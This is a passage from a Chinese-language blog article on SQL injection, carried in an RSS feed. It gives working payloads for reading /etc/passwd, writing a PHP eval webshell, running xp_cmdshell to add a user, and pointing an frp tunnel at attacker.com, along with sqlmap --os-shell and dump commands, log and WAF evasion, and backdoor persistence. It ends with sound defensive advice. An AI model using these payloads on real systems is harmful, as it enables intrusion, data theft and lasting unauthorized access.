&lt;td&gt;写 WebShell（如&lt;code&gt;SELECT '&amp;lt;?php system($_GET[cmd]);?&amp;gt;' INTO OUTFILE '/var/www/shell.php'&lt;/code&gt;）&lt;/td&gt;
&lt;td&gt;&lt;code&gt;xp_cmdshell('命令')&lt;/code&gt;（需启用）&lt;/td&gt;
&lt;td&gt;调用 Java 存储过程&lt;/td&gt;
&lt;td&gt;扩展插件（如 Python 函数）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;报错注入核心函数&lt;/td&gt;
&lt;td&gt;&lt;code&gt;updatexml()&lt;/code&gt;、&lt;code&gt;extractvalue()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;convert(int, 变量)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ctxsys.drithsx.sn()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cast(变量 as int)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id=&quot;h2-6.20u63D0u6743u4E0Eu540Eu6E17u900F-234&quot;&gt;&lt;a class=&quot;reference-link&quot; name=&quot;6. 提权与后渗透&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;6. 提权与后渗透&lt;/h2&gt;&lt;p&gt;注入成功后，需进一步扩大控制范围，常见操作如下：&lt;/p&gt;
&lt;h3 id=&quot;h3-u8BFBu53D6u654Fu611Fu6587u4EF6-237&quot;&gt;&lt;a class=&quot;reference-link&quot; name=&quot;读取敏感文件&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;读取敏感文件&lt;/h3&gt;&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- MySQL（需FILE权限）
UNION SELECT 1,LOAD_FILE('/etc/passwd'),3--  # 读取Linux系统用户文件
UNION SELECT 1,LOAD_FILE('C:/Windows/system32/drivers/etc/hosts'),3--  # 读取Windows hosts文件

-- PostgreSQL
UNION SELECT 1,pg_read_file('/etc/passwd'),3--
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;h3-u5199u516520WebShelluFF08u63A7u523620Web20u670Du52A1u5668uFF09-248&quot;&gt;&lt;a class=&quot;reference-link&quot; name=&quot;写入 WebShell（控制 Web 服务器）&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;写入 WebShell（控制 Web 服务器）&lt;/h3&gt;&lt;p&gt;前提：知道 Web 根目录路径（如&lt;code&gt;/var/www/html&lt;/code&gt;、&lt;code&gt;C:/xampp/htdocs&lt;/code&gt;），且数据库有写入权限。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- MySQL写入PHP一句话木马
UNION SELECT 1,'&amp;lt;?php @eval($_POST[cmd]);?&amp;gt;' AS webshell,3 INTO OUTFILE '/var/www/html/shell.php'--
-- 后续通过蚁剑/菜刀连接：http://target.com/shell.php，密码cmd

-- MSSQL（通过xp_cmdshell写入）
'; EXEC xp_cmdshell 'echo ^&amp;lt;?php @eval($_POST[cmd]);?^&amp;gt; &amp;gt; C:\xampp\htdocs\shell.php'--
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;h3-u547Du4EE4u6267u884C-261&quot;&gt;&lt;a class=&quot;reference-link&quot; name=&quot;命令执行&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;命令执行&lt;/h3&gt;&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- MSSQL（sysadmin权限）
'; EXEC xp_cmdshell 'whoami'--  # 查看当前用户
'; EXEC xp_cmdshell 'ipconfig'--  # 查看网络配置
'; EXEC xp_cmdshell 'net user test 123456 /add'--  # 添加系统用户

-- MySQL（需通过WebShell间接执行，或开启UDF提权）
-- 先写入UDF动态链接库，再创建函数执行命令（复杂，需对应MySQL版本）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;h3-u6570u636Eu5E93u6743u9650u63D0u5347-273&quot;&gt;&lt;a class=&quot;reference-link&quot; name=&quot;数据库权限提升&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;数据库权限提升&lt;/h3&gt;&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- MySQL查看是否有超级权限
UNION SELECT 1,super_priv,3 FROM mysql.user WHERE user = user()--  # Y表示有超级权限
-- MSSQL查看是否为sysadmin角色
UNION SELECT 1,IS_SRVROLEMEMBER('sysadmin'),3--  # 1表示是sysadmin

-- 若 MySQL 有FILE权限：可写入my.cnf配置文件，添加恶意配置；可以参考CVE-2021-21551
-- 若 MSSQL 是sysadmin：可启用xp_cmdshell、sp_oacreate等存储过程，执行系统命令
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;h3-u5185u7F51u7A7Fu900F-285&quot;&gt;&lt;a class=&quot;reference-link&quot; name=&quot;内网穿透&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;内网穿透&lt;/h3&gt;&lt;p&gt;通过注入写入 frp 客户端配置，将数据库端口转发到公网：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- MySQL写入frp配置
SELECT '[common]\nserver_addr = attacker.com\nserver_port = 7000' INTO OUTFILE '/tmp/frp.ini'--
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;h2-7.20u81EAu52A8u5316u4E0Eu5DE5u5177u4F7Fu7528u7B56u7565-291&quot;&gt;&lt;a class=&quot;reference-link&quot; name=&quot;7. 自动化与工具使用策略&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;7. 自动化与工具使用策略&lt;/h2&gt;&lt;p&gt;手动注入效率低，实际测试中常用工具自动化完成，以下工具只简单介绍sqlmap&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;工具名称&lt;/th&gt;
&lt;th&gt;特点与适用场景&lt;/th&gt;
&lt;th&gt;局限性&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SQLmap&lt;/td&gt;
&lt;td&gt;支持多数据库、自动绕过 WAF、功能全面&lt;/td&gt;
&lt;td&gt;对复杂认证（如 OAuth）支持有限&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;jSQL Injection&lt;/td&gt;
&lt;td&gt;轻量开源、适合手动测试辅助&lt;/td&gt;
&lt;td&gt;自动化程度低，需手动分析结果&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NoSQLMap&lt;/td&gt;
&lt;td&gt;针对 MongoDB 等 NoSQL 数据库的注入测试&lt;/td&gt;
&lt;td&gt;不支持传统 SQL 数据库&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Burp Suite（插件）&lt;/td&gt;
&lt;td&gt;SQLi Scanner 插件可被动检测注入点&lt;/td&gt;
&lt;td&gt;误报率较高，需人工验证&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Arachni&lt;/td&gt;
&lt;td&gt;支持 CI/CD 集成，适合自动化测试流程&lt;/td&gt;
&lt;td&gt;定制化 Payload 能力弱&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id=&quot;h3-SQLmapu5E38u89C4u7528u6CD5-302&quot;&gt;&lt;a class=&quot;reference-link&quot; name=&quot;SQLmap常规用法&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;SQLmap常规用法&lt;/h3&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 1. GET参数注入测试
sqlmap -u &quot;http://target.com/page.php?id=1&quot; -v 1  # -v 1显示详细信息

# 2. POST表单注入测试（--data指定POST数据）
sqlmap -u &quot;http://target.com/login.php&quot; --data &quot;username=admin&amp;amp;password=123&quot;

# 3. Cookie注入测试
sqlmap -u &quot;http://target.com/user.php&quot; --cookie &quot;PHPSESSID=abc123&quot;

# 4. 直接获取所有数据库
sqlmap -u &quot;http://target.com/page.php?id=1&quot; --dbs

# 5. 获取指定库（webapp）的所有表
sqlmap -u &quot;http://target.com/page.php?id=1&quot; -D webapp --tables

# 6. 获取指定表（users）的所有数据
sqlmap -u &quot;http://target.com/page.php?id=1&quot; -D webapp -T users --dump
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;h3-u9AD8u7EA7u7528u6CD5uFF08u7ED5u8FC720WAFu3001u63D0u6743uFF09-324&quot;&gt;&lt;a class=&quot;reference-link&quot; name=&quot;高级用法（绕过 WAF、提权）&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;高级用法（绕过 WAF、提权）&lt;/h3&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 1. 绕过WAF（使用tamper脚本，space2comment将空格替换为/* */）
sqlmap -u &quot;http://target.com/page.php?id=1&quot; --tamper=space2comment

# 2. 多线程加速（--threads，最大10）
sqlmap -u &quot;http://target.com/page.php?id=1&quot; --threads=5

# 3. 获取OS Shell（直接控制服务器）
sqlmap -u &quot;http://target.com/page.php?id=1&quot; --os-shell

# 4. 连接数据库（直接操作数据库，需账号密码）
sqlmap -d &quot;mysql://user:password@192.168.1.100:3306/webapp&quot; --dump
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;h3-u534Au81EAu52A8u5316u6D4Bu8BD5uFF08Burp20SuiteuFF09-340&quot;&gt;&lt;a class=&quot;reference-link&quot; name=&quot;半自动化测试（Burp Suite）&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;半自动化测试（Burp Suite）&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Repeater 模块&lt;/strong&gt;：手动修改请求参数（如&lt;code&gt;id=1'&lt;/code&gt;），观察响应是否有注入特征；&lt;/p&gt;
&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Intruder 模块&lt;/strong&gt;：批量发送 Payload（如布尔盲注的逐字符猜解），快速定位有效 Payload；&lt;/p&gt;
&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;结合 SQLmap&lt;/strong&gt;：将 Burp 作为代理，让 SQLmap 通过 Burp 发送请求（便于抓包分析）：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sqlmap -u &quot;http://target.com/page.php?id=1&quot; --proxy=http://127.0.0.1:8080  # Burp默认代理端口8080
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;&lt;/ol&gt;
&lt;h2 id=&quot;h2-8.20u75D5u8FF9u6E05u7406u4E0Eu6301u4E45u5316-352&quot;&gt;&lt;a class=&quot;reference-link&quot; name=&quot;8. 痕迹清理与持久化&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;8. 痕迹清理与持久化&lt;/h2&gt;&lt;h3 id=&quot;h3-u65E5u5FD7u7ED5u8FC7-354&quot;&gt;&lt;a class=&quot;reference-link&quot; name=&quot;日志绕过&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;日志绕过&lt;/h3&gt;&lt;pre&gt;&lt;code&gt;# 使用时间盲注减少日志记录
# 使用DNS外带数据避免直接日志

# 最小化请求次数
尽量使用UNION查询而不是盲注
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;h3-Web20shellu6301u4E45u5316-364&quot;&gt;&lt;a class=&quot;reference-link&quot; name=&quot;Web shell持久化&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;Web shell持久化&lt;/h3&gt;&lt;pre&gt;&lt;code&gt;# 多种方式部署Web shell
通过SELECT INTO OUTFILE写入
通过数据库备份功能写入
通过文件上传功能结合SQL注入路径遍历
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;h3-u6570u636Eu5E93u6743u9650u7EF4u6301u6280u5DE7-373&quot;&gt;&lt;a class=&quot;reference-link&quot; name=&quot;数据库权限维持技巧&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;数据库权限维持技巧&lt;/h3&gt;&lt;p&gt;创建触发器：在 MySQL 中创建触发器，每次插入数据时执行恶意代码：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE TRIGGER backdoor AFTER INSERT ON logs
FOR EACH ROW
BEGIN
  INSERT INTO backdoor_logs VALUES (USER(), NOW());
END;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;数据库作业：在 MSSQL 中创建定时作业，定期执行命令：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;USE msdb;
EXEC sp_add_job @job_name = 'persist';
-- 添加步骤执行xp_cmdshell
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;h2-9.20u9632u5FA1u89C4u907Fu68C0u6D4B-388&quot;&gt;&lt;a class=&quot;reference-link&quot; name=&quot;9. 防御规避检测&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;9. 防御规避检测&lt;/h2&gt;&lt;h3 id=&quot;h3-u8BC6u522BWAFu89C4u5219-390&quot;&gt;&lt;a class=&quot;reference-link&quot; name=&quot;识别WAF规则&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;识别WAF规则&lt;/h3&gt;&lt;pre&gt;&lt;code&gt;# 发送正常和恶意请求对比响应
# 观察HTTP状态码变化
# 检查是否有WAF特有头部

# 使用sqlmap识别WAF
sqlmap -u &quot;http://target.com/page.php?id=1&quot; --identify-waf
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;h3-u4F4Eu6162u901Fu653Bu51FB-401&quot;&gt;&lt;a class=&quot;reference-link&quot; name=&quot;低慢速攻击&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;低慢速攻击&lt;/h3&gt;&lt;pre&gt;&lt;code&gt;# 使用时间盲注并延长延时时间
# 分块传输编码低速发送
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;h2-10.SQL20u6CE8u5165u9632u5FA1u65B9u6848-408&quot;&gt;&lt;a class=&quot;reference-link&quot; name=&quot;10.SQL 注入防御方案&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;10.SQL 注入防御方案&lt;/h2&gt;&lt;p&gt;SQL 注入的防御需从 “输入处理”“查询方式”“权限控制” 多维度入手，形成闭环防护：&lt;/p&gt;
&lt;h3 id=&quot;h3-u6838u5FC3u9632u5FA1uFF1Au4F7Fu7528u53C2u6570u5316u67E5u8BE2uFF08u9884u7F16u8BD1u8BEDu53E5uFF09-412&quot;&gt;&lt;a class=&quot;reference-link&quot; name=&quot;核心防御：使用参数化查询（预编译语句）&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;核心防御：使用参数化查询（预编译语句）&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;原理&lt;/strong&gt;：将 SQL 语句的 “结构” 与 “参数” 分离，参数由数据库引擎单独处理，避免用户输入篡改 SQL 结构。&lt;br&gt;&lt;strong&gt;主流语言示例&lt;/strong&gt;：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;语言 / 框架&lt;/th&gt;
&lt;th&gt;错误写法（直接拼接）&lt;/th&gt;
&lt;th&gt;正确写法（参数化查询）&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;PHP（MySQLi）&lt;/td&gt;
&lt;td&gt;&lt;code&gt;$sql = &quot;SELECT * FROM users WHERE username='$username'&quot;;&lt;/code&gt; &lt;code&gt;$result = mysqli_query($conn, $sql);&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;$stmt = $conn-&amp;gt;prepare(&quot;SELECT * FROM users WHERE username=?&quot;);&lt;/code&gt; &lt;code&gt;$stmt-&amp;gt;bind_param(&quot;s&quot;, $username);&lt;/code&gt;（”s” 表示字符串类型） &lt;code&gt;$stmt-&amp;gt;execute();&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Java（JDBC）&lt;/td&gt;
&lt;td&gt;&lt;code&gt;String sql = &quot;SELECT * FROM users WHERE username='&quot; + username + &quot;'&quot;;&lt;/code&gt; &lt;code&gt;Statement stmt = conn.createStatement();&lt;/code&gt; &lt;code&gt;stmt.executeQuery(sql);&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;String sql = &quot;SELECT * FROM users WHERE username=?&quot;;&lt;/code&gt; &lt;code&gt;PreparedStatement pstmt = conn.prepareStatement(sql);&lt;/code&gt; &lt;code&gt;pstmt.setString(1, username);&lt;/code&gt;（1 表示第一个参数） &lt;code&gt;pstmt.executeQuery();&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Python（MySQLdb）&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sql = f&quot;SELECT * FROM users WHERE username='{username}'&quot;;&lt;/code&gt; &lt;code&gt;cursor.execute(sql)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sql = &quot;SELECT * FROM users WHERE username=%s&quot;;&lt;/code&gt; &lt;code&gt;cursor.execute(sql, (username,))&lt;/code&gt;（参数用元组传递）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Python（Django ORM）&lt;/td&gt;
&lt;td&gt;无需手动写 SQL，ORM 自动参数化： &lt;code&gt;User.objects.filter(username=username)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Django ORM 底层已实现参数化，避免注入风险（推荐使用框架 ORM）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id=&quot;h3-u8F93u5165u9A8Cu8BC1u4E0Eu8FC7u6EE4uFF08u8F85u52A9u9632u5FA1uFF09-424&quot;&gt;&lt;a class=&quot;reference-link&quot; name=&quot;输入验证与过滤（辅助防御）&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;输入验证与过滤（辅助防御）&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;数据类型验证&lt;/strong&gt;：对数字型参数（如&lt;code&gt;id&lt;/code&gt;）强制转换为整数（如&lt;code&gt;int(id)&lt;/code&gt;），非数字直接拒绝；&lt;/li&gt;&lt;li&gt;&lt;strong&gt;格式验证&lt;/strong&gt;：用正则表达式限制输入格式（如邮箱&lt;code&gt;^[a-zA-Z0-9_-]+@[a-zA-Z0-9_-]+(\.[a-zA-Z0-9_-]+)+$&lt;/code&gt;）；&lt;/li&gt;&lt;li&gt;&lt;strong&gt;特殊字符过滤&lt;/strong&gt;：对 SQL 关键字（&lt;code&gt;UNION&lt;/code&gt;、&lt;code&gt;SELECT&lt;/code&gt;、&lt;code&gt;OR&lt;/code&gt;）和特殊符号（&lt;code&gt;'&lt;/code&gt;、&lt;code&gt;;&lt;/code&gt;、&lt;code&gt;--&lt;/code&gt;）进行转义（如将&lt;code&gt;'&lt;/code&gt;转义为&lt;code&gt;\'&lt;/code&gt;），但需注意：&lt;strong&gt;过滤不能替代参数化查询&lt;/strong&gt;（过滤规则可能被绕过）。&lt;/li&gt;&lt;/ul&gt;
&lt;h3 id=&quot;h3-u6700u5C0Fu6743u9650u539Fu5219uFF08u964Du4F4Eu5371u5BB3uFF09-430&quot;&gt;&lt;a class=&quot;reference-link&quot; name=&quot;最小权限原则（降低危害）&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;最小权限原则（降低危害）&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;数据库用户权限&lt;/strong&gt;：Web 应用使用的数据库账号仅授予 “必要权限”（如只给&lt;code&gt;SELECT&lt;/code&gt;/&lt;code&gt;INSERT&lt;/code&gt;权限，不给&lt;code&gt;DROP&lt;/code&gt;/&lt;code&gt;FILE&lt;/code&gt;权限）；&lt;/li&gt;&lt;li&gt;&lt;strong&gt;文件系统权限&lt;/strong&gt;：Web 目录禁止写入（仅上传目录可写，且限制上传文件类型）；&lt;/li&gt;&lt;li&gt;&lt;strong&gt;服务器权限&lt;/strong&gt;：Web 服务器运行用户（如&lt;code&gt;www-data&lt;/code&gt;）仅给最小权限，禁止直接使用&lt;code&gt;root&lt;/code&gt;/&lt;code&gt;Administrator&lt;/code&gt;。&lt;/li&gt;&lt;/ul&gt;
&lt;h3 id=&quot;h3-u5B89u5168u914Du7F6EuFF08u51CFu5C11u66B4u9732u9762uFF09-436&quot;&gt;&lt;a class=&quot;reference-link&quot; name=&quot;安全配置（减少暴露面）&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;安全配置（减少暴露面）&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;关闭错误回显&lt;/strong&gt;：生产环境禁用数据库错误显示（如 PHP 关闭&lt;code&gt;display_errors = Off&lt;/code&gt;，Java 配置全局错误页面）；&lt;/li&gt;&lt;li&gt;&lt;strong&gt;禁用危险功能：&lt;/strong&gt;&lt;ul&gt;
&lt;li&gt;MySQL：禁用&lt;code&gt;LOAD_FILE&lt;/code&gt;、&lt;code&gt;INTO OUTFILE&lt;/code&gt;（通过&lt;code&gt;sql_mode&lt;/code&gt;或权限控制）；&lt;/li&gt;&lt;li&gt;MSSQL：禁用&lt;code&gt;xp_cmdshell&lt;/code&gt;、&lt;code&gt;sp_oacreate&lt;/code&gt;等危险存储过程；&lt;/li&gt;&lt;/ul&gt;
&lt;/li&gt;&lt;li&gt;&lt;strong&gt;更新补丁&lt;/strong&gt;：及时更新 Web 服务器（Apache/Nginx）、数据库、框架的安全补丁，修复已知漏洞。&lt;/li&gt;&lt;/ol&gt;
&lt;h3 id=&quot;h3-u90E8u7F7220WAFuFF08u6700u540Eu4E00u9053u9632u7EBFuFF09-444&quot;&gt;&lt;a class=&quot;reference-link&quot; name=&quot;部署 WAF（最后一道防线）&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;部署 WAF（最后一道防线）&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：通过规则检测并阻断恶意 SQL 注入 Payload（如拦截&lt;code&gt;UNION SELECT&lt;/code&gt;、&lt;code&gt;OR 1=1&lt;/code&gt;等特征）；&lt;/li&gt;&lt;li&gt;&lt;strong&gt;选型&lt;/strong&gt;：可使用开源 WAF（如 ModSecurity）或商业 WAF（如阿里云 WAF、Cloudflare）；&lt;/li&gt;&lt;li&gt;&lt;strong&gt;注意&lt;/strong&gt;：WAF 需定期更新规则，避免被新型绕过技术突破。&lt;/li&gt;&lt;/ul&gt;
&lt;/body&gt;</description><pubDate>Fri, 19 Sep 2025 17:31:10 +0800</pubDate></item></channel></rss>